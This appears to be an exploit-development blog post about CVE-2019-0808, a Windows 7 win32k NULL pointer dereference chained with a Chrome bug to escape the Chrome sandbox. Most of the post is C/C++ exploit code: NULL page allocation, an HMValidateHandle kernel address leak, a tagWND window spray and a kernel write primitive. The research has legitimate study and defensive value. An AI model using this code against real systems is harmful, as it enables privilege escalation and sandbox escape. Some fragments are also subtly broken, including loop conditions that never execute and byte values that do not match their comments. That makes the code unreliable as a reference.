Author: Grant Willcox

This post explores a recently patched Win32k vulnerability (CVE-2019-0808) that was used in the wild with CVE-2019-5786 to provide a full Google Chrome sandbox escape chain.

Overview

On March 7th 2019, Google came out with a blog post discussing two vulnerabilities that were being chained together in the wild to remotely exploit Chrome users running Windows 7 x86: CVE-2019-5786, a bug in the Chrome renderer that has been detailed in our blog post, and CVE-2019-0808, a NULL pointer dereference bug in win32k.sys affecting Windows 7 and Windows Server 2008 which allowed attackers escape the Chrome sandbox and execute arbitrary code as the SYSTEM user.

Since Google’s blog post, there has been one crash PoC exploit for Windows 7 x86 posted to GitHub by ze0r, which results in a BSOD. This blog details a working sandbox escape and a demonstration of the full exploit chain in action, which utilizes these two bugs to illustrate the APT attack encountered by Google in the wild.

Analysis of the Public PoC

To provide appropriate context for the rest of this blog, this blog will first start with an analysis of the public PoC code. The first operation conducted within the PoC code is the creation of two modeless drag-and-drop popup menus, hMenuRoot and hMenuSub. hMenuRoot will then be set up as the primary drop down menu, and hMenuSub will be configured as its submenu.

HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
...
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);

AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");

Following this, a WH_CALLWNDPROC hook is installed on the current thread using SetWindowsHookEx(). This hook will ensure that WindowHookProc() is executed prior to a window procedure being executed. Once this is done, SetWinEventHook() is called to set an event hook to ensure that DisplayEventProc() is called when a popup menu is displayed.

SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);

The following diagram shows the window message call flow before and after setting the WH_CALLWNDPROC hook.

Once the hooks have been installed, the hWndFakeMenu window will be created using CreateWindowA() with the class string “#32768”, which, according to MSDN, is the system reserved string for a menu class. Creating a window in this manner will cause CreateWindowA() to set many data fields within the window object to a value of 0 or NULL as CreateWindowA() does not know how to fill them in appropriately. One of these fields which is of importance to this exploit is the spMenu field, which will be set to NULL.

hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

hWndMain is then created using CreateWindowA() with the window class wndClass. This will set hWndMain‘s window procedure to DefWindowProc() which is a function in the Windows API responsible for handling any window messages not handled by the window itself.

The parameters for CreateWindowA() also ensure that hWndMain is created in disabled mode so that it will not receive any keyboard or mouse input from the end user, but can still receive other window messages from other windows, the system, or the application itself. This is done as a preventative measure to ensure the user doesn’t accidentally interact with the window in an adverse manner, such as repositioning it to an unexpected location. Finally the last parameters for CreateWindowA() ensure that the window is positioned at (0x1, 0x1), and that the window is 0 pixels by 0 pixels big. This can be seen in the code below.

WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);
	
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
	TranslateMessage(&msg);
	DispatchMessageW(&msg);

	if (iMenuCreated >= 1) {
		bOnDraging = TRUE;
		callNtUserMNDragOverSysCall(&pt, buf);
		break;
	}
}

After the hWndMain window is created, TrackPopupMenuEx() is called to display hMenuRoot. This will result in a window message being placed on hWndMain‘s message stack, which will be retrieved in main()‘s message loop via GetMessageW(), translated via TranslateMessage(), and subsequently sent to hWndMain‘s window procedure via DispatchMessageW(). This will result in the window procedure hook being executed, which will call WindowHookProc().

BOOL bOnDraging = FALSE;
....
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

    if (!bOnDraging) {
        return CallNextHookEx(0, code, wParam, lParam);
    }
....

As the bOnDraging variable is not yet set, the WindowHookProc() function will simply call CallNextHookEx() to call the next available hook. This will cause a EVENT_SYSTEM_MENUPOPUPSTART event to be sent as a result of the popup menu being created. This event message will be caught by the event hook and will cause execution to be diverted to the function DisplayEventProc().

UINT iMenuCreated = 0;

VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
    switch (iMenuCreated)
    {
    case 0:
        SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    printf("[*] MSG\n");
    iMenuCreated++;
}

Since this is the first time DisplayEventProc() is being executed, iMenuCreated will be 0, which will cause case 0 to be executed. This case will send the WM_LMOUSEBUTTON window message to hWndMainusing SendMessageW() in order to select the hMenuRoot menu at point (0x5, 0x5). Once this message has been placed onto hWndMain‘s window message queue, iMenuCreated is incremented.

hWndMain then processes the WM_LMOUSEBUTTON message and selects hMenu, which will result in hMenuSub being displayed. This will trigger a second EVENT_SYSTEM_MENUPOPUPSTART event, resulting in DisplayEventProc() being executed again. This time around the second case is executed as iMenuCreated is now 1. This case will use SendMessageW() to move the mouse to point (0x6, 0x6) on the user’s desktop. Since the left mouse button is still down, this will make it seem like a drag and drop operation is being performed. Following this iMenuCreated is incremented once again and execution returns to the following code with the message loop inside main().

CHAR buf[0x100] = { 0 };
POINT pt;
pt.x = 2;
pt.y = 2;
...
if (iMenuCreated >= 1) {
    bOnDraging = TRUE;
    callNtUserMNDragOverSysCall(&pt, buf);
    break;
}

Since iMenuCreated now holds a value of 2, the code inside the if statement will be executed, which will set bOnDraging to TRUE to indicate the drag operation was conducted with the mouse, after which a call will be made to the function callNtUserMNDragOverSysCall() with the address of the POINT structure pt and the 0x100 byte long output buffer buf.

callNtUserMNDragOverSysCall() is a wrapper function which makes a syscall to NtUserMNDragOver() in win32k.sys using the syscall number 0x11ED, which is the syscall number for NtUserMNDragOver() on Windows 7 and Windows 7 SP1. Syscalls are used in favor of the PoC’s method of obtaining the address of NtUserMNDragOver() from user32.dll since syscall numbers tend to change only across OS versions and service packs (a notable exception being Windows 10 which undergoes more constant changes), whereas the offsets between the exported functions in user32.dll and the unexported NtUserMNDragOver() function can change anytime user32.dll is updated.

void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
	_asm {
		mov eax, 0x11ED
		push address2
		push address1
		mov edx, esp
		int 0x2E
		pop eax
		pop eax
	}
}

NtUserMNDragOver() will end up calling xxxMNFindWindowFromPoint(), which will execute xxxSendMessage() to issue a usermode callback of type WM_MN_FINDMENUWINDOWFROMPOINT. The value returned from the user mode callback is then checked using HMValidateHandle() to ensure it is a handle to a window object.

LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
    v6 = xxxSendMessage(
           var_pPopupMenu->spwndNextPopup,
           MN_FINDMENUWINDOWFROMPOINT,
           (WPARAM)&pPopupMenu,
           (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the 
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the 
                                      // wParam argument.
    ThreadUnlock1();
    if ( IsMFMWFPWindow(v6) )  // Validate the handle returned from the user
                               // mode callback is a handle to a MFMWFP window.
      v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned 
                                                                        // handle is a handle to 
                                                                        // a window object. Set v1 to
                                                                        // TRUE if all is good.
      ...

When the callback is performed, the window procedure hook function, WindowHookProc(), will be executed before the intended window procedure is executed. This function will check to see what type of window message was received. If the incoming window message is a WM_MN_FINDMENUWINDOWFROMPOINT message, the following code will be executed.

if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
	{
		bIsDefWndProc = FALSE;
		printf("[*] HWND: %p \n", cwp->hwnd);
		SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
	}
return CallNextHookEx(0, code, wParam, lParam);

This code will change the window procedure for hWndMain from DefWindowProc() to SubMenuProc(). It will also set bIsDefWndProc to FALSE to indicate that the window procedure for hWndMain is no longer DefWindowProc().

Once the hook exits, hWndMain‘s window procedure is executed. However, since the window procedure for the hWndMain window was changed to SubMenuProc(), SubMenuProc() is executed instead of the expected DefWindowProc() function.

SubMenuProc() will first check if the incoming message is of type WM_MN_FINDMENUWINDOWFROMPOINT. If it is, SubMenuProc() will call SetWindowLongPtr() to set the window procedure for hWndMain back to DefWindowProc() so that hWndMain can handle any additional incoming window messages. This will prevent the application becoming unresponsive. SubMenuProc() will then return hWndFakeMenu, or the handle to the window that was created using the menu class string.

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
    {
        SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
        return (ULONG)hWndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

Since hWndFakeMenu is a valid window handle it will pass the HMValidateHandle() check. However, as mentioned previously, many of the window’s elements will be set to 0 or NULL as CreateWindowEx() tried to create a window as a menu without sufficient information. Execution will subsequently proceed from xxxMNFindWindowFromPoint() to xxxMNUpdateDraggingInfo(), which will perform a call to MNGetpItem(), which will in turn call MNGetpItemFromIndex().

MNGetpItemFromIndex() will then try to access offsets within hWndFakeMenu‘s spMenu field. However since hWndFakeMenu‘s spMenu field is set to NULL, this will result in a NULL pointer dereference, and a kernel crash if the NULL page has not been allocated.

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
  tagITEM *result; // eax

  if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur 
                                                           // here if spMenu is NULL.
    result = 0;
  else
    result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
  return result;
}

Sandbox Limitations

To better understand how to escape Chrome’s sandbox, it is important to understand how it operates. Most of the important details of the Chrome sandbox are explained on Google’s Sandbox page. Reading this page reveals several important details about the Chrome sandbox which are relevant to this exploit. These are listed below:

• All processes in the Chrome sandbox run at Low Integrity.
• A restrictive job object is applied to the process token of all the processes running in the Chrome sandbox. This prevents the spawning of child processes, amongst other things.
• Processes running in the Chrome sandbox run in an isolated desktop, separate from the main desktop and the service desktop to prevent Shatter attacks that could result in privilege escalation.
• On Windows 8 and higher the Chrome sandbox prevents calls to win32k.sys.

The first protection in this list is that processes running inside the sandbox run with Low integrity. Running at Low integrity prevents attackers from being able to exploit a number of kernel leaks mentioned on sam-b’s kernel leak page, as starting with Windows 8.1, most of these leaks require that the process be running with Medium integrity or higher. This limitation is bypassed in the exploit by abusing a well known memory leak in the implementation of HMValidateHandle() on Windows versions prior to Windows 10 RS4, and is discussed in more detail later in the blog.

The next limitation is the restricted job object and token that are placed on the sandboxed process. The restricted token ensures that the sandboxed process runs without any permissions, whilst the job object ensures that the sandboxed process cannot spawn any child processes. The combination of these two mitigations means that to escape the sandbox the attacker will likely have to create their own process token or steal another process token, and then subsequently disassociate the job object from that token. Given the permissions this requires, this most likely will require a kernel level vulnerability. These two mitigations are the most relevant to the exploit; their bypasses are discussed in more detail later on in this blog.

The job object additionally ensures that the sandboxed process uses what Google calls the “alternate desktop” (known in Windows terminology as the “limited desktop”), which is a desktop separate from the main user desktop and the service desktop, to prevent potential privilege escalations via window messages. This is done because Windows prevents window messages from being sent between desktops, which restricts the attacker to only sending window messages to windows that are created within the sandbox itself. Thankfully this particular exploit only requires interaction with windows created within the sandbox, so this mitigation only really has the effect of making it so that the end user can’t see any of the windows and menus the exploit creates.

Finally it’s worth noting that whilst protections were introduced in Windows 8 to allow Chrome to prevent sandboxed applications from making syscalls to win32k.sys, these controls were not backported to Windows 7. As a result Chrome’s sandbox does not have the ability to prevent calls to win32k.sys on Windows 7 and prior, which means that attackers can abuse vulnerabilities within win32k.sys to escape the Chrome sandbox on these versions of Windows.

Sandbox Exploit Explanation

Creating a DLL for the Chrome Sandbox

As is explained in James Forshaw’s In-Console-Able blog post, it is not possible to inject just any DLL into the Chrome sandbox. Due to sandbox limitations, the DLL has to be created in such a way that it does not load any other libraries or manifest files.

To achieve this, the Visual Studio project for the PoC exploit was first adjusted so that the project type would be set to a DLL instead of an EXE. After this, the C++ compiler settings were changed to tell it to use the multi-threaded runtime library (not a multithreaded DLL). Finally the linker settings were changed to instruct Visual Studio not to generate manifest files.

Once this was done, Visual Studio was able to produce DLLs that could be loaded into the Chrome sandbox via a vulnerability such as István Kurucsai’s 1Day Chrome vulnerability, CVE-2019-5786 (which was detailed in a previous blog post), or via DLL injection with a program such as this one.

Explanation of the Existing Limited Write Primitive

Before diving into the details of how the exploit was converted into a sandbox escape, it is important to understand the limited write primitive that this exploit grants an attacker should they successfully set up the NULL page, as this provides the basis for the discussion that occurs throughout the following sections.

Once the vulnerability has been triggered, xxxMNUpdateDraggingInfo() will be called in win32k.sys. If the NULL page has been set up correctly, then xxxMNUpdateDraggingInfo() will call xxxMNSetGapState(), whose code is shown below:

void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
  ...
          var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write 
                                                         // operation should occur, minus an 
                                                         // offset of 0x4.
          temp_var_PITEM = var_PITEM;
          if ( var_PITEM )
          {
            ...
            var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the 
                                                         // address where the second write operation 
                                                         // should occur, minus an offset of 0x4. This 
                                                         // address will be 0x6C bytes earlier in 
                                                         // memory than the address in var_PITEM.
            if ( fSet )
            {
              *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the 
                                                             // attacker controlled address.
              if ( var_PITEM_Minus_Offset_Of_0x6C )
              {
                *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u; 
                                                    // Conduct the second write to the attacker
                                                    // controlled address minus 0x68 (0x6C-0x4).
...

xxxMNSetGapState() performs two write operations to an attacker controlled location plus an offset of 4. The only difference between the two write operations is that 0x40000000 is written to an address located 0x6C bytes earlier than the address where the 0x80000000 write is conducted.

It is also important to note is that the writes are conducted using OR operations. This means that the attacker can only add bits to the DWORD they choose to write to; it is not possible to remove or alter bits that are already there. It is also important to note that even if an attacker starts their write at some offset, they will still only be able to write the value \x40 or \x80 to an address at best.

From these observations it becomes apparent that the attacker will require a more powerful write primitive if they wish to escape the Chrome sandbox. To meet this requirement, Exodus Intelligence’s exploit utilizes the limited write primitive to create a more powerful write primitive by abusing tagWND objects. The details of how this is done, along with the steps required to escape the sandbox, are explained in more detail in the following sections.

Allocating the NULL Page

On Windows versions prior to Windows 8, it is possible to allocate memory in the NULL page from userland by calling NtAllocateVirtualMemory(). Within the PoC code, the main() function was adjusted to obtain the address of NtAllocateVirtualMemory() from ntdll.dll and save it into the variable pfnNtAllocateVirtualMemory.

Once this is done, allocateNullPage() is called to allocate the NULL page itself, using address 0x1, with read, write, and execute permissions. The address 0x1 will then then rounded down to 0x0 by NtAllocateVirtualMemory() to fit on a page boundary, thereby allowing the attacker to allocate memory at 0x0.

typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
);
NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0;
....
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
....
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
// explaining this in an example along with the finer details that are often forgotten.
bool allocateNullPage() {
	/* Set the base address at which the memory will be allocated to 0x1.
	This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory,
	however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
	PVOID BaseAddress = (PVOID)0x1;

	/* Set the size to be allocated to 40960 to ensure that there
	   is plenty of memory allocated and available for use. */
	SIZE_T size = 40960;

	/* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0 with the size
	specified in the variable size. Also make sure the memory is allocated with read, write,
	and execute permissions.*/
	NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);

	// If the call to NtAllocateVirtualMemory failed, return FALSE.
	if (result != 0x0) {
		return FALSE;
	}

	// If the code reaches this point, then everything went well, so return TRUE.
	return TRUE;
}

Finding the Address of HMValidateHandle

Once the NULL page has been allocated the exploit will then obtain the address of the HMValidateHandle() function. HMValidateHandle() is useful for attackers as it allows them to obtain a userland copy of any object provided that they have a handle. Additionally this leak also works at Low Integrity on Windows versions prior to Windows 10 RS4.

By abusing this functionality to copy objects which contain a pointer to their location in kernel memory, such as tagWND (the window object), into user mode memory, an attacker can leak the addresses of various objects simply by obtaining a handle to them.

As the address of HMValidateHandle() is not exported from user32.dll, an attacker cannot directly obtain the address of HMValidateHandle() via user32.dll‘s export table. Instead, the attacker must find another function that user32.dll exports which calls HMValidateHandle(), read the value of the offset within the indirect jump, and then perform some math to calculate the true address of HMValidateHandle().

This is done by obtaining the address of the exported function IsMenu() from user32.dll and then searching for the first instance of the byte \xEB within IsMenu()‘s code, which signals the start of an indirect call to HMValidateHandle(). By then performing some math on the base address of user32.dll, the relative offset in the indirect call, and the offset of IsMenu() from the start of user32.dll, the attacker can obtain the address of HMValidateHandle(). This can be seen in the following code.

HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");

// Find the address of HMValidateHandle using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
    printf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
    ExitProcess(-1);
}
...
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
	// The address of the function HMValidateHandleAddress() is not exported to
	// the public. However the function IsMenu() contains a call to HMValidateHandle()
	// within it after some short setup code. The call starts with the byte \xEB.

	// Obtain the address of the function IsMenu() from user32.dll.
	BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenuFunction == NULL) {
		printf("[!] Failed to find the address of IsMenu within user32.dll.\r\n");
		return FALSE;
	}
	else {
		printf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
	}

	// Search for the location of the \xEB byte within the IsMenu() function
	// to find the start of the indirect call to HMValidateHandle().
	unsigned int offsetInIsMenuFunction = 0;
	BOOL foundHMValidateHandleAddress = FALSE;
	for (unsigned int i = 0; i > 0x1000; i++) {
		BYTE* pCurrentByte = pIsMenuFunction + i;
		if (*pCurrentByte == 0xE8) {
			offsetInIsMenuFunction = i + 1;
			break;
		}
	}

	// Throw error and exit if the \xE8 byte couldn't be located.
	if (offsetInIsMenuFunction == 0) {
		printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.\r\n");
		return FALSE;
	}

	// Output address of user32.dll in memory for debugging purposes.
	printf("[*] hUser32: 0x%08X\r\n", hUser32);

	// Get the value of the relative address being called within the IsMenu() function.
	unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
	printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);

	// Find out how far the IsMenu() function is located from the base address of user32.dll.
	unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
	printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);

	// Take this offset and add to it the relative address used in the call to HMValidateHandle().
	// Result should be the offset of HMValidateHandle() from the start of user32.dll.
	unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
	printf("[*] offset: 0x%08X\r\n", offset);

	// Skip over 11 bytes since on Windows 10 these are not NOPs and it would be
	// ideal if this code could be reused in the future.
	pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
	printf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
	return TRUE;
}

Creating a Arbitrary Kernel Address Write Primitive with Window Objects

Once the address of HMValidateHandle() has been obtained, the exploit will call the sprayWindows() function. The first thing that sprayWindows() does is register a new window class named sprayWindowClass using RegisterClassExW(). The sprayWindowClass will also be set up such that any windows created with this class will use the attacker defined window procedure sprayCallback().

A HWND table named hwndSprayHandleTable will then be created, and a loop will be conducted which will call CreateWindowExW() to create 0x100 tagWND objects of class sprayWindowClass and save their handles into the hwndSprayHandle table. Once this spray is complete, two loops will be used, one nested inside the other, to obtain a userland copy of each of the tagWND objects using HMValidateHandle().

The kernel address for each of these tagWND objects is then obtained by examining the tagWND objects’ pSelf field. The kernel address of each of the tagWND objects are compared with one another until two tagWND objects are found that are less than 0x3FD00 apart in kernel memory, at which point the loops are terminated.

/* The following definitions define the various structures
   needed within sprayWindows() */
typedef struct _HEAD
{
	HANDLE h;
	DWORD  cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD
{
	HEAD h;
	PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _THRDESKHEAD
{
	THROBJHEAD h;
	PVOID    rpdesk;
	PVOID    pSelf;   // points to the kernel mode address of the object
} THRDESKHEAD, *PTHRDESKHEAD;
....
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
	printf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
	ExitProcess(-1);
}
....
// Define the HMValidateHandle window type TYPE_WINDOW appropriately.
#define TYPE_WINDOW 1

/* Main function for spraying the tagWND objects into memory and finding two
   that are less than 0x3fd00 apart */
bool sprayWindows() {
	HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.

	// Create and set up the window class for the sprayed window objects.
	WNDCLASSEXW sprayClass = { 0 };
	sprayClass.cbSize = sizeof(WNDCLASSEXW);
	sprayClass.lpszClassName = TEXT("sprayWindowClass");
	sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed 
                                          // window objects to sprayCallback().

	if (RegisterClassExW(&sprayClass) == 0) {
		printf("[!] Couldn't register the sprayClass class!\r\n");
	}

	// Create 0x100 windows using the sprayClass window class with the window name "spray".
	for (int i = 0; i < 0x100; i++) {
		hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
	}

	// For each entry in the hwndSprayHandle table...
	for (int x = 0; x < 0x100; x++) {
		// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
		THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
		unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;

		// Then start a loop to start comparing the kernel address of this hWND
		// object to the kernel address of every other hWND object...
		for (int y = 0; y < 0x100; y++) {
			if (x != y) { // Skip over one instance of the loop if the entries being compared are
                    // at the same offset in the hwndSprayHandleTable

				// Leak the kernel address of the second hWND object being used in 
        // the comparison, save it into secondEntryAddress.
				THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
				unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;

				// If the kernel address of the hWND object leaked earlier in the code is greater than
				// the kernel address of the hWND object leaked above, execute the following code.
				if (firstEntryAddress > secondEntryAddress) {

					// Check if the difference between the two addresses is less than 0x3fd00.
					if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
						printf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
						printf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);

						// Save the handle of secondEntryAddress into hPrimaryWindow 
            // and its address into primaryWindowAddress.
						hPrimaryWindow = hwndSprayHandleTable[y];
						primaryWindowAddress = secondEntryAddress;

						// Save the handle of firstEntryAddress into hSecondaryWindow 
            // and its address into secondaryWindowAddress.
						hSecondaryWindow = hwndSprayHandleTable[x];
						secondaryWindowAddress = firstEntryAddress;

						// Windows have been found, escape the loop.
						break;
					}
				}

				// If the kernel address of the hWND object leaked earlier in the code is less than
				// the kernel address of the hWND object leaked above, execute the following code.
				else {

					// Check if the difference between the two addresses is less than 0x3fd00.
					if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
						printf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
						printf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);

						// Save the handle of firstEntryAddress into hPrimaryWindow 
            // and its address into primaryWindowAddress.
						hPrimaryWindow = hwndSprayHandleTable[x];
						primaryWindowAddress = firstEntryAddress;

						// Save the handle of secondEntryAddress into hSecondaryWindow 
            // and its address into secondaryWindowAddress.
						hSecondaryWindow = hwndSprayHandleTable[y];
						secondaryWindowAddress = secondEntryAddress;

						// Windows have been found, escape the loop.
						break;
					}
				}
			}
		}

		// Check if the inner loop ended and the windows were found. If so print a debug message.
		// Otherwise continue on to the next object in the hwndSprayTable array.
		if (hPrimaryWindow != NULL) {
			printf("[*] Found target windows!\r\n");
			break;
		}
	}

Once two tagWND objects matching these requirements are found, their addresses will be compared to see which one is located earlier in memory. The tagWND object located earlier in memory will become the primary window; its address will be saved into the global variable primaryWindowAddress, whilst its handle will be saved into the global variable hPrimaryWindow. The other tagWND object will become the secondary window; its address is saved into secondaryWindowAddress and its handle is saved into hSecondaryWindow.

Once the addresses of these windows have been saved, the handles to the other windows within hwndSprayHandle are destroyed using DestroyWindow() in order to release resources back to the host operating system.

// Check that hPrimaryWindow isn't NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
	printf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
	return FALSE;
}

// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p > 0x100; p++) {
	HWND temp = hwndSprayHandleTable[p];
	if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
		DestroyWindow(temp);
	}
}

addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to
                                                    // primaryWindow's cbwndExtra field.

printf("[*] Destroyed spare windows!\r\n");

// Check if its possible to set the window text in hSecondaryWindow.
// If this isn't possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
	printf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
	return FALSE;
}
else {
	return TRUE;
}

The final part of sprayWindows() sets addressToWrite to the address of the cbwndExtra field within primaryWindowAddress in order to let the exploit know where the limited write primitive should write the value 0x40000000 to.

To understand why tagWND objects where sprayed and why the cbwndExtra and strName.Buffer fields of a tagWND object are important, it is necessary to examine a well known kernel write primitive that exists on Windows versions prior to Windows 10 RS1.

As is explained in Saif Sheri and Ian Kronquist’s The Life & Death of Kernel Object Abuse paper and Morten Schenk’s Taking Windows 10 Kernel Exploitation to The Next Level presentation, if one can place two tagWND objects together in memory one after another and then edit the cbwndExtra field of the tagWND object located earlier in memory via a kernel write vulnerability, they can extend the expected length of the former tagWND’s WndExtra data field such that it thinks it controls memory that is actually controlled by the second tagWND object.

The following diagram shows how the exploit utilizes this concept to set the cbwndExtra field of hPrimaryWindow to 0x40000000 by utilizing the limited write primitive that was explained earlier in this blog post, as well as how this adjustment allows the attacker to set data inside the second tagWND object that is located adjacent to it.

Once the cbwndExtra field of the first tagWND object has been overwritten, if an attacker calls SetWindowLong() on the first tagWND object, an attacker can overwrite the strName.Buffer field in the second tagWND object and set it to an arbitrary address. When SetWindowText() is called using the second tagWND object, the address contained in the overwritten strName.Buffer field will be used as destination address for the write operation.

By forming this stronger write primitive, the attacker can write controllable values to kernel addresses, which is a prerequisite to breaking out of the Chrome sandbox. The following listing from WinDBG shows the fields of the tagWND object which are relevant to this technique.

1: kd> dt -r1 win32k!tagWND
   +0x000 head             : _THRDESKHEAD
      +0x000 h                : Ptr32 Void
      +0x004 cLockObj         : Uint4B
      +0x008 pti              : Ptr32 tagTHREADINFO
      +0x00c rpdesk           : Ptr32 tagDESKTOP
      +0x010 pSelf            : Ptr32 UChar
   ...
   +0x084 strName          : _LARGE_UNICODE_STRING
